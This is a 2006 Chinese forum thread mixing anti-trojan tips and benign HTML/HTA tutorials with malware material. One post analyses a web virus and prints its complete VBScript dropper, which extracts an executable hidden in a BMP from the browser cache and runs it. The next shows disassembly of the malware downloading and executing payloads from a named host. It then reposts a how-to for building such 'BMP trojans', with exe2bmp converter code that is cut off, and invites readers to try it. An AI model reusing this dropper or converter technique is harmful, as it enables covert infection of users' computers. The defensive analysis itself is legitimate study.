史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > Hacker/Cracker 及加解密技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-03-06, 05:37 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 防網頁木馬的辦法,創意對策..

防網頁木馬的辦法

教大家防木馬的辦法,只針對網頁木馬,有效率90%以上,可以防止90%以上木馬在你的電腦上被執行,甚至殺毒軟體發現不了的木馬都可以禁止執行。先說一下原理。
現在網頁木馬無非有以下幾種方式中到你的機器裡
1:把木馬文件改成BMP文件,然後配合你機器裡的DEBUG來還原成EXE,網上存在該木馬20%
2:下載一個TXT文件到你機器,然後裡面有具體的FTP^-^作,FTP連上他們有木馬的機器下載木馬,網上存在該木馬20%
3:也是最常用的方式,下載一個HTA文件,然後用網頁控件解釋器來還原木馬。該木馬在網上存在50%以上
4:採用JS指令碼,用VBS指令碼來執行木馬文件,該型木馬偷QQ的比較多,偷傳奇的少,大概占10%左右
5:其他方式未知。。。。。。。。。。。。。
現在我們來說防範的方法。。。。。。。。。不要丟金磚
那就是把 windows\system\mshta.exe文件改名,
改成什麼自己隨便 (s個屁和瘟2000是在system32下)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\ 下為Active Setup controls新增一個關於CLSID的新鍵值 {6E449683_C509_11CF_AAFA_00AA00 B6015C},然後在新鍵值下新增一個REG_DWORD 檔案檔案類型的鍵Compatibility,並設定鍵值為0x00000400即可。

還有windows\command\debug.exe和windows\ftp.exe都給改個名字 (或者移除)

一些最新流行的木馬 最有效果的防禦~~
比如網路上流行 的木馬 smss.exe 這個是其中一種木馬的主體 潛伏在 98/winme/xp c:\windows目錄下 2000 c:\winnt .....
假如你中了這個木馬 首先我們用行程管理器結束 正在執行的木馬smss.exe 然後在C:\windows 或 c:\winnt\目錄下 新增一個 價的 smss.exe 並設定為只讀內容~ (2000/XP NTFS的磁牒格式 的話那就更好 可以用「安全性設定」 設定為讀取) 這樣木馬沒了~ 以後也不會在感染了 這個辦法本人測試過對很多木馬
都很有效果的

經過這樣的修改後,我現在專門找別人發的木馬網址去測試,實驗結果是上了大概20個木馬網站,有大概15個瑞星會報警,另外5個瑞星沒有反映,而我的機器沒有增加出來新的EXE文件,也沒有新的行程出現,只不過有些木馬的殘骸留在了IE的臨時資料夾裡,他們沒有被執行起來,沒有危險性,所以建議大家經常清理 臨時資料夾和IE。
這個方法沒有試過,方法是死的,人是活的,這些系統檔案修改後,不會出問題麼?有待你自己去考量...
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-06, 06:42 PM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

彈出網頁視窗全攻略(html/hta)
如何利用網頁彈出各種形式的視窗,我想大家大多都是知道些的,但那種多種多樣的彈出式視窗是怎麼搞出來的,我們今天就來學習一下:

  1.彈啟一個全螢幕視窗

<html>
<body onload="window.open( http://www.3lian.com, example01 , fullscreen );">;
<b>www.3lian.com</b>
</body>
</html>

  2.彈啟一個被F11化後的視窗

<html>
<body onload="window.open( http://www.3lian.com, example02 , channelmode );">;
<b>www.3lian.com</b>
</body>
</html>

  3.彈啟一個帶有收藏連接工作列的視窗

<html>
<body onload="window.open( http://www.3lian.com, example03 , width=400,height=300,directories );">
<b>www.3lian.com</b>
</body>
</html>

  4.網頁對話視窗

<html>
<SCRIPT LANGUAGE="javascript">
<!--
showModalDialog( http://www.3lian.com, example04 , dialogWidth:400px;dialogHeight:300px;
dialogLeft:200px;dialogTop:150px;center:yes;help:yes;resizable:yes;status:yes )
//-->
</SCRIPT>
<b>www.3lian.com</b>
</body>
</html>

<html>
<SCRIPT LANGUAGE="javascript">
<!--
showModelessDialog( http://www.pconline.com.cn , example05 , dialogWidth:400px;dialogHeight:300px;
dialogLeft:200px;dialogTop:150px;center:yes;help:yes;resizable:yes;status:yes )
//-->
</SCRIPT>
<b>http://www.3lian.com</b>
</body>
</html>

  showModalDialog()或是showModelessDialog() 來使用網頁對話視窗,至於showModalDialog()與showModelessDialog()的區別,在於showModalDialog()開啟的視窗(簡稱模式視窗),置在父視窗上,必須關閉才能訪問父視窗(建議盡量少用,以免招人反感);showModelessDialog()(簡稱無模式視窗),開啟後不必關閉也可訪問父視窗開啟的視窗。

dialogHeight: iHeight 設定對話視窗視窗的高度。
dialogWidth: iWidth 設定對話視窗視窗的寬度。   
dialogLeft: iXPos 設定對話視窗視窗相對於桌面左上角的left位置。
dialogTop: iYPos 設定對話視窗視窗相對於桌面左上角的top位置。
center: {yes | no | 1 | 0 } 指定是否將對話視窗在桌面上居中,預設值是「yes」。
help: {yes | no | 1 | 0 } 指定對話視窗視窗中是否顯示上下文敏感的說明 圖示。預設值是「yes」。   
resizable: {yes | no | 1 | 0 } 指定是否對話視窗視窗大小可變。預設值是「no」。
status: {yes | no | 1 | 0 } 指定對話視窗視窗是否顯示狀態列。對於非模式對話視窗視窗,預設值是「yes」;對於模式對話視窗視窗,預設值是 「no」。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-06, 06:45 PM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

台灣微軟公司針對MSIE.HTA病毒一事發表聲明

(2000年02月15日,台北) 針對最近有用戶惡意透過Hotmail 傳送MSIE.HTA病毒一事,台灣微軟公司今日發表聲明,並提醒國內用戶特別注意勿開啟來路不明的電子郵件。

台灣微軟公司指出,由於目前網際網路使用者使用電子郵件極為頻繁,E-mail已成為電腦病毒流傳的主要途徑。此次用戶透過Hotmail 傳送MSIE.HTA病毒的破壞行為,是利用 axxxxxx@hotmail.com的帳號 (xxxxx 為0-9之數位),發出沒有主題且內嵌病毒的郵件,微軟公司建議用戶不要開啟任何來自此類發信帳號且沒有主題之郵件訊息,並採取以下步驟以進一步預防此破壞行為:

設定郵件規則,直接將此類郵件移除,在 Outlook「工具/規則精靈」設定移除條件。
使用防毒軟體,並定期更新病毒碼。
台灣微軟公司目前正積極追查發信來源,並將採取必要的法律行動。

Hotmail是全球用戶最多的免費電子郵件服務,廣受使用者歡迎,台灣微軟公司對於Hotmail被利用來散播病毒表示遺憾。同時由於此次病毒來源並不僅限於Hotmail,微軟公司特別提醒所有網際網路用戶不要開啟來路不明或來自陌生發信者的郵件,以避免將自己曝露於病毒攻擊的危險之中。
 

HTA (HTML Application) 是 M$ 在 IE 5.x 版以後新增加的功能
可以讓 HTML 用幾句簡單的語法直接寫成視窗程式




你只要把你用 HTML 寫成的文件用 .hta 為副檔名存檔就算建立了一個 HTA 程式
但是 HTA 還不只這些而已,他比一般的 HTML 文件多了一行語法,請看下面範例:
--------------------------------------------------------------------------------
<HTA:APPLICATION ID="oHTA"
APPLICATIONNAME="myApp"
  BORDER="thin"
  BORDERSTYLE="normal"
  CAPTION="yes"
  ICON="filename.ico"
  MAXIMIZEBUTTON="yes"
  MINIMIZEBUTTON="yes"
  SHOWINTASKBAR="no"
  INGLEINSTANCE="no"
  SYSMENU="yes"
  VERSION="1.0"
  WINDOWSTATE="normal" />
--------------------------------------------------------------------------------
HTA:APPLICATION 標籤即是宣告這是一個 HTML Application 程式
hta 通過這個標籤來提供一系列偏向套用程式的功能,接下來我們再來讀一讀他的內容

APPLICATIONNAME 內容 (applicationName)
此內容用來設定 HTA 的名稱。

BORDER 內容 (border)
此內容用來設定 HTA 的視窗邊框檔案類型,預設值為 thick

他可以設定為:
thick 指定視窗為粗邊框
dialog 指定視窗為對話視窗
none 指定視窗無邊框
thin 指定視窗為窄邊框

BORDERSTYLE 內容 (borderStyle)
此內容設定 HTA 視窗的邊框格式,預設值為 normal

他可以設定為:
normal 普通邊框格式
complex 凹凸格式o合邊框
raised 凸出的 3D 邊框
static 3D 邊框格式
sunken 內凹的 3D 邊框

CAPTION 內容 (caption)
此內容設定 HTA 視窗是否顯示標題列或標題,預設值為 yes

ICON 內容 (icon)
此內容設定程式的圖標

MAXIMIZEBUTTON 內容 (maximizeButton)
此內容設定是否在 HTA 視窗中顯示最大化按r,預設值為 yes

MINIMIZEBUTTON 內容 (minimizeButton)
此內容設定是否在 HTA 視窗中顯示最小化按r,預設值為 yes

SHOWINTASKBAR 內容 (showInTaskBar)
此內容設定是否在工作列中顯示此程式,預設值為 yes

SINGLEINSTANCE 內容 (singleInstance)
此內容設定是否此程式同時只能執行一次。此內容以 APPLICATIONNAME 內容作為辨識,預設值為 no

SYSMENU 內容 (sysMenu)
此內容設定是否在 HTA 視窗中顯示系統選單,預設值為 yes

VERSION 內容 (version)
此內容設定套用程式的版本,預設值為 空

WINDOWSTATE 內容 (windowState)
此內容設定 HTA 視窗的預設大小,預設值為 normal

他可以設定為:
normal 預設大小
minmize 最小化
maximize 最大化
--------------------------------------------------------------------------------
另外在 HTA 程式中可以沿用 HTML 中大部分的語法
包含 CSS、JAVA、JAVA Script、VB Script、ActiveX 等等

例如我們可以在 HTA 文件檔頭加入以下 JAVA Script 語法

<script language="JavaScript">
<!--
window.resizeTo(400, 300);
//-->
</script>

此語法功能為程式載入時自動調整視窗的大小
補足了 HTA:APPLICATION 標籤功能的不足
--------------------------------------------------------------------------------

在我的文章
 即時通偵測
 統一發票對獎
中都有使用到 HTA 程式

星君的作品 北斗字碼轉換器 也是使用 HTA 模式做成

--------------------------------------------------------------------------------
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-06, 06:46 PM   #4 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

您的 HTA 新增簡單的工具列

其他 ActiveX 控制項
• Microsoft Office 圖表控制項

• Microsoft Office 核取方塊控制項 (英文)

• Microsoft Office 下拉式方塊 (英文)

• Microsoft Office 進度列 (英文)

• Microsoft Office 試算表控制項 (英文)

• 表格式資料控制項 (英文)


HTML 套用程式的限制 (不幸 HTA 本身也有限制) 有使用上的限制。由於 HTA 相當依賴 HTML 控制項,要新增功能表列或工具列到您的套用程式並非易事。因此一般人只好在畫面上放一堆沒有圖只有標題的按鈕。雖然這樣也能用,但是有點遜(咱們 Scripting Guy 最重視的就是酷)。

幸好還有 ActiveX 控制項可以在 HTA 裡新增功能表列和/或工具列。有些控制項還挺好用的,不過可能有點複雜。老實說,Scripting Guys 覺得無「懶」不成酷。所以要給各位介紹一個簡單的方法,在 Microsoft Office 內安裝指令按鈕 ActiveX 控制項,來建立工具列 (如果您有 Microsoft Office,就有這個控制項。)雖然這不是全世界最炫的工具列,但是總比 HTML 裡面單調的 <button> 標記好多了吧。下面是一個可以輕鬆建立的工具列範例:

https://www.microsoft.com/taiwan/technet/images/scriptcenter/activex/toolbar1.jpg

看吧?還不賴,這些可是真的按鈕,而不是光是圖喔?您可以畫一個類似的工具列,然後將圖片載入 HTA,但是在這些圖片上按一下不會有真的按鈕的效果。沒關係,因為它們確確實實還是按鈕,只不過縮小了些,用圖片替代按鈕標題罷了。

回到頁首
使用 Microsoft Office 指令按鈕控制項
咱們來瞧瞧簡化的範例,裡面的工具列只有一個按鈕:

<html>

<head>
<title>Toolbar Example</title>
</head>

<Script Language="VBScript">
Sub Window_Onload
CommandButton1.Width = 32
CommandButton1.Height = 32
CommandButton1.Picture = LoadPicture("c:\scripts\network.bmp")
End Sub

Sub CommandButton1_Click()
DataArea.InnerHTML = "You clicked button 1."
End Sub
</Script>

<body topmargin="0" rightmargin="0" leftmargin="0">

<table width="100%" border="1" width="100%" bordercolorlight="buttonface"
bordercolordark="buttonface" style="border-collapse:collapse">
<tr>
<td width="100%" bgcolor="buttonface">
<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton1"></object>
</td>
</tr>
<table>

<p>&nbsp;<p>
<blockquote>

<span id=DataArea></span>

</blockquote>
</body>
</html>

這個 HTA 主要由兩個元件構成:一是包含指令按鈕的表格,二是按下按鈕後用來顯示資訊的 <span>。順便一提,HTA 的邊界設定為左邊、右邊、上方各為 0",以確保我們的表格 (也就是工具列) 能剛好放在 HTA 視窗的左上角,而且表格的列能夠延伸到最右方的邊界。

下面的指令碼會產生一個資料表:

<table width="100%" border="1" width="100%" bordercolorlight="buttonface"
bordercolordark="buttonface" style="border-collapse:collapse">

您不用擔心 HTML 標記,如果有興趣進一步瞭解各個參數,請參閱 HTML 和 DHTML 參考 (英文)。基本上我們建立了一個橫跨整個 HTA 視窗範圍的表格。表格週圍設定了 1 個像素的邊界 (表格由一行一列構成),然後將邊界色彩設定為 buttonface,和表格儲存格的色彩一樣。這麼設定純粹只是美觀,這樣表格就沒有任何邊線。

接著使用者兩行指令碼,建立一個表格資料列和一個表格儲存格 (前面說過,背景色彩為 buttonface)。

<tr>
<td width="100%" bgcolor="buttonface">

現在終於到了有趣的部分:插入指令按鈕。方法是加入 <object> 標記:

<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton1"></object>

如您所見,物件標記只需要 classid 和 id 這兩個參數。classid 是一種全域唯一識別碼,告訴作業系統要插入哪個 ActiveX 控制項。可是這個 Classid 很複雜,要記住或輸入根本是強人所難。 沒關係,只要插入指令按鈕和 ID (暱稱) 的執行個體即可。這樣要在指令碼中參考按鈕時,只要使用 ID (CommandButton1) 就可以了,不需要使用 classid (D7053240-CE69-11CD-A777-00DD01143C57)。

表格製作完畢。現在要加入一個名為 DataArea 的 <span>,名符其實,這是一個可來寫入資料的位置 (本文中對「資料」一詞的定義相當寬鬆)。現在 HTA 的內容就準備好了,就是這麼簡單。

剩下來的就是兩個副程式。第一個 Windows_Onload 會在 HTA 載入或更新時自動執行,我們可以在這個副程式內設定指令按鈕的內容值:

CommandButton1.Width = 32
CommandButton1.Height = 32
CommandButton1.Picture = LoadPicture("c:\scripts\network.bmp")

最有趣的要算最後一行 (我們覺得啦):使用 LoadPicture 方法來指定按鈕的圖片,只要呼叫 LoadPicture 並傳給它一個參數,也就是影像檔案的完整路徑就可以了。Width 和 Height 內容是以點數來設定,每個點約為1/72英吋。按鈕設定為 32,大小剛好,但可能還需要根據使用圖片大小來調整。

附註:想認識更多的指令按鈕內容嗎?歡迎查閱 Microsoft Forms 說明檔 (FM20.chm)。這個檔案可能在您安裝 Office 時已經複製到 C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\1033 資料夾了,如果找不到,可以查閱 Office CD。


第二個副程式是使用者按下指令按鈕時執行的指令碼:

Sub CommandButton1_Click()
DataArea.InnerHTML = "You clicked button 1."
End Sub

沒什麼特別的技巧,只不過是按下按鈕後即可連到 DataArea 的 InnerHTML 內容。跟各位分享一下,<object> 標記內不需要指定任何 onclick 內容。因為只要按下按鈕,HTA 就會依預設自動搜尋以該按鈕命名的 Click 副程式。

單個按鈕的工具列粉墨登場:
https://www.microsoft.com/taiwan/technet/images/scriptcenter/activex/toolbar2.jpg


不好意思,拍照請勿用閃光燈。

聰明的讀者,您可能已經知道怎麼建立多個按鈕的工具列了:只要多插入幾個指令按鈕 ActiveX 控制項的執行個體就可以了 (別忘了每個執行個體要有獨特的 ID,還要在 Window_Onload 副程式設定按鈕內容)。您還需要建立另一個副程式,在按下按鈕後執行。舉例來說,插入第二個按鈕後要加上這個物件標籤:

<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton2"></object>

接著將這些指令碼插入 Window_Onload 副程式:

CommandButton2.Width = 32
CommandButton2.Height = 32
CommandButton2.Picture = LoadPicture("c:\scripts\cd.bmp")

最後您要建立一個副程式,在 CommandButton 按下後執行:

Sub CommandButton2_Click()
DataArea.InnerHTML = "You clicked button 2."
End Sub

輕輕鬆鬆,就是這麼簡單!

如果您想玩一下,但又不想打字,我們已經替您準備好一個指令碼範例可以複製貼上使用,在 HTA 上建立有四個按鈕的工具列。我們在這個指令碼裡面又附贈一項功能:使用 title 標記替每個按鈕加入工具提示。

<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton1"
title="Get network connections information."></object>

只要把滑鼠游標放在 CommandButton 按鈕上,就會跳出一個「Get network connections information」工具提示。 這個密技一定會讓您成為程式界的武林高手。

下列為 HTA 程式碼:

<html>

<head>
<title>Toolbar Example</title>
</head>

<Script Language="VBScript">

Sub Window_Onload
CommandButton1.Width = 32
CommandButton1.Height = 32
CommandButton1.Picture = LoadPicture("c:\scripts\network.bmp")
CommandButton2.Width = 32
CommandButton2.Height = 32
CommandButton2.Picture = LoadPicture("c:\scripts\cd.bmp")
CommandButton3.Width = 32
CommandButton3.Height = 32
CommandButton3.Picture = LoadPicture("c:\scripts\monitor.bmp")
CommandButton4.Width = 32
CommandButton4.Height = 32
CommandButton4.Picture = LoadPicture("c:\scripts\printer.bmp")
End Sub


Sub CommandButton1_Click()
DataArea.InnerHTML = "You clicked button 1."
End Sub

Sub CommandButton2_Click()
DataArea.InnerHTML = "You clicked button 2."
End Sub

Sub CommandButton3_Click()
DataArea.InnerHTML = "You clicked button 3."
End Sub

Sub CommandButton4_Click()
DataArea.InnerHTML = "You clicked button 4."
End Sub

</Script>
<body topmargin="0" rightmargin="0" leftmargin="0">

<table width="100%" border="1" width="100%" bordercolorlight="buttonface"
bordercolordark="buttonface" style="border-collapse:collapse">
<tr>
<td width="100%" bgcolor="buttonface">
<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton1"
title="Get network connections information"></object>
<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton2"
title="Get CD/DVD drive information" ></object>
<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton3"
title="Get monitor information" ></object>
<object classid="clsid7053240-CE69-11CD-A777-00DD01143C57" id="CommandButton4"
title="Get printer information" ></object>
</td>
</tr>
<table>
<p>&nbsp;<p>
<blockquote>
<span id=DataArea></span>
</blockquote>
</body>

</html>
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-06, 06:54 PM   #5 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

BMP 是 DOS 和 Windows 相容電腦上的標準 Windows 圖像格式。

BMP是一種圖型格式的副檔名,取自BitMaP的縮寫。BMP格式起源自IBM與微軟共同創立的OS/2,原來只有黑白和16色兩種。後來微軟加入了256色的格式。到Windows 95,又增加了24-bit的格式。

BMP有壓縮和非壓縮兩種格式,我們日常採用的是非壓縮格式。壓縮格式比較少用,通常用於系統的桌布,而且普遍採用RLE這一個副檔名。BMP格式與其他圖像格式最大的分別,是它的編排並非由左上角至右下角,而是由左下角排至右上角。

BMP 格式支持 RGB、索引顏色、灰度和圖形顏色模式。可以為圖像指定 Windows 或 OS/2&reg; 格式和位深度。對於使用 Windows 格式的 4 位和 8 圖形像,還可以指定 RLE 壓縮。

BMP 圖像通常是自下而上編寫出;但您也可以選項「翻轉行序」選項,自上而下編寫。您還可以點按「進階模式」選項其他編碼方法。(「翻轉行序」和「進階模式」對於遊戲程序員和其他使用 DirectX 的人員而言最有用。)
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-06, 06:55 PM   #6 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

某網頁病毒淺析
某日,一QQ好友給我發訊息,說正在看一幅畫,還強調沒病毒,我想把連接框起來,用網路快車下載下來看,沒想到一下子點進去了,防火牆蹦出來,問要不要讓mshta.exe訪問網路,我知道中毒了,直接禁止他,然後用網路快車下載該jpg文件看,原來是html+javascript,找到如下可疑內容:

<img src="/images/girl.jpg" width="600" height="800">
顯示jpg圖像,讓人以為此奶一MM圖片

<IMG SRC=klook.bmp width=0 height=0>
<object data="klook.ASP" width=0 height=0>
klook.bmp和klook.ASP保證有問題

於是下載klook.bmp看,確實是bmp圖,但都是亂七八糟的色塊,於是用UltraEdit開啟看,文件頭是BMP沒錯,殼居然發現"MZ"和"PE"字樣!我明白了,他把EXE文件貼上再BMP文件頭的後面!

再下載klook.asp,內容如下:
<title>-</title>

<SCRIPT LANGUAGE="VBScript">
Option Explicit
Dim FSO,WSH,CACHE,str,sucess
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")
CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\快取")
sucess=0


SearchBMPFile fso.GetFolder(CACHE),"klook[1].bmp"
if sucess=0 then SearchBMPFile fso.GetFolder(CACHE),"klook[2].bmp"


Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & "\"
winsys=fso.GetSpecialFolder(1) & "\"
set File=FSO.GetFile(str)
File.Copy(tmp & "tmp.dat")
On Error Resume Next
File.Delete
if FSO.FileExists(str) then exit function
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
Lt.WriteLine("2200")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
set Lt=FSO.CreateTextFile(tmp & "tmp.bat")
Lt.WriteLine("%40echo off")
Lt.WriteLine(chr(100) & "ebug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine("copy " & tmp & "tmp.dat " & winsys & "klook.exe>" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.dat >" & tmp & "tmp.out")
Lt.WriteLine("del " & tmp & "tmp.in >" & tmp & "tmp.out")
Lt.WriteLine(winsys & "klook.exe")
Lt.WriteLine("del %0")
Lt.Close
sucess=1
WSH.Run tmp & "tmp.bat",false,6
On Error Resume Next

end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function
window.close
</script>

<SCRIPT language=JavaScript>
parent.moveTo(0,0);
parent.resizeTo(0,0);
</SCRIPT>

大概是這樣的:
先新增Scripting.FileSystemObject對像和WScript.Shell對象,讀取IE臨時文件所在地,然後搜尋下載的klook.bmp文件,再把klook.bmp尾部附加的exe文件放出來執行。

下次把那個exe文件切下來反彙編一下
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-06, 06:56 PM   #7 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

:00403648 55 push ebp
:00403649 8BEC mov ebp, esp
:0040364B 83C4F0 add esp, FFFFFFF0
:0040364E 53 push ebx
:0040364F 56 push esi
:00403650 57 push edi
:00403651 B8F0354000 mov eax, 004035F0
:00403656 E8B9FCFFFF call 00403314
:0040365B 33C0 xor eax, eax
:0040365D 55 push ebp
:0040365E 68B1364000 push 004036B1
:00403663 64FF30 push dword ptr fs:[eax]
:00403666 648920 mov dword ptr fs:[eax], esp

* Possible StringData Ref from Code Obj ->"C:\windows\winsoft1.exe"
|
:00403669 BACC364000 mov edx, 004036CC

* Possible StringData Ref from Code Obj ->"http://www.918dj.com/IESP1.exe"
|
:0040366E B8EC364000 mov eax, 004036EC
:00403673 E8B0FEFFFF call 00403528
:00403678 84C0 test al, al
:0040367A 740C je 00403688
:0040367C 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"C:\windows\winsoft1.exe"
|
:0040367E 680C374000 push 0040370C

* Reference To: KERNEL32.WinExec, Ord:0000h
|
:00403683 E840FDFFFF Call 004033C8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040367A(C)
|

* Possible StringData Ref from Code Obj ->"C:\windows\winsoft2.exe"
|
:00403688 BA2C374000 mov edx, 0040372C

* Possible StringData Ref from Code Obj ->"http://www.918dj.com/IESP2.exe"
|
:0040368D B84C374000 mov eax, 0040374C
:00403692 E891FEFFFF call 00403528
:00403697 84C0 test al, al
:00403699 740C je 004036A7
:0040369B 6A00 push 00000000

* Possible StringData Ref from Code Obj ->"C:\windows\winsoft2.exe"
|
:0040369D 686C374000 push 0040376C

* Reference To: KERNEL32.WinExec, Ord:0000h
|
:004036A2 E821FDFFFF Call 004033C8

很簡單,該病毒下載http://www.918dj.com/IESP1.exe或者...2.exe並執行
他還下載兩個病毒:iesp1.exe和iesp2.exe,其中iesp2.exe是自解壓rar文件,裡面好像居然還有還原精靈
這個病毒,把 vb6 執行庫和還原精靈都下下來了,要是真的執行還原精靈,就比你碰到的更惡毒了

其實他的真名叫:bmp木馬
其實現方法如下 轉載:
首先說明這不是什麼新的東西,但最近有人說我們沒有,那就隨便寫編文章放上來了,大家自己試驗一下. 何謂BMP網頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK郵件)文件,放到網頁上利用IE和OE的編碼漏洞實現自動下載和執行.

然而BMP木馬就不同,它把一個EXE文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網頁中的javascript指令碼搜尋客戶端的Internet臨時資料夾,找到下載後的BMP文件,把它拷貝到TEMP目錄.再編寫一個指令碼把找到的BMP文件用DEBUG還原成EXE,並把它放到註冊表啟動項中,在下一次開機時執行.但是這種技術只能在9X下發揮作用,對於2K,XP來說是無能為力了.

看上去好像很複雜,下面我們一步一步來:
1) EXE變BMP的方法.
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個字元,簡單來說裡面包含了BMP文件的長寬,位數,文件大小,資料區長度,我們只要在EXE文件的文件頭前面增加相應的BMP文件頭(當然BMP文件頭裡面的資料要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗,發現如果文件頭不正確的話,IE是不會下載的,轉換程式碼如下:

program exe2bmp;

uses
Windows,
SysUtils;

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

begin
if (ParamStr(1)<>'''') and(ParamStr(2)<>'''') then begin //如果執行後沒有兩個參數則結束
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下為BMP文件頭資料}
Buffer[0]:=''B'';Buffer[1]:=''M'';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
